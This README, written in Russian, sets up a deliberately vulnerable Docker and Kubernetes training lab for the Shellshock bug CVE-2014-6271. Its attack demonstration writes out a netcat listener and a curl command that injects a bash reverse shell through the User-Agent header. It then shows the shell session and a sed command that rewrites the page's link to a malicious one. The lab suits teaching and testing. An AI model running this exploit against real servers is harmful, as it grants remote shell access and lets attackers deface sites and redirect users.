CVE-2014-6271-Apache-Debian

Обзор

Этот репозиторий является средой PoC для CVE-2014-6271.
Вы можете развернуть веб-сервис, включающий уязвимость, используя образ контейнера apache2.

Подготовка

Сборка образа

Соберите небезопасный образ из Dockerfile.

# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

Развертывание PoC-контейнера

Docker

Разверните PoC-контейнер как Docker-контейнер.

# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Разверните PoC-контейнер как pod и сервис k8s.

# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Доступ к PoC веб-сервису

После завершения развертывания вы можете просмотреть веб-страницу, открыв следующий URL в браузере.
Вы можете получить доступ к лабораторной среде k8s, нажав ссылку «Click!» под веб-страницей.

Docker

http://<docker host IP>:8080

Kubernetes

http://<k8s service endpoint>:<k8s service port>

Демонстрация атаки

В этой демонстрации вы можете изменить веб-страницу с хоста атакующего (вне контейнера), используя уязвимость CVE-2014-6271.

Выполните эти команды с хоста атакующего.

Терминал 1

# nc -nvlp 5050

Терминал 2
※В этом случае мы развертываем PoC-контейнер с помощью Docker. В случае Kubernetes URL должен быть http://<k8s service endpoint>:<k8s service port>.

# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

После этого вы увидите, что /bin/bash PoC-контейнера можно выполнить в терминале 1.

Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Измените ссылку «Click!» на веб-странице.
В этом случае мы используем фиктивную страницу для вредоносной ссылки.

sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Снова откройте веб-страницу и нажмите ссылку «Click!» под веб-страницей.

http://<docker host IP>:8080

Ссылки

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271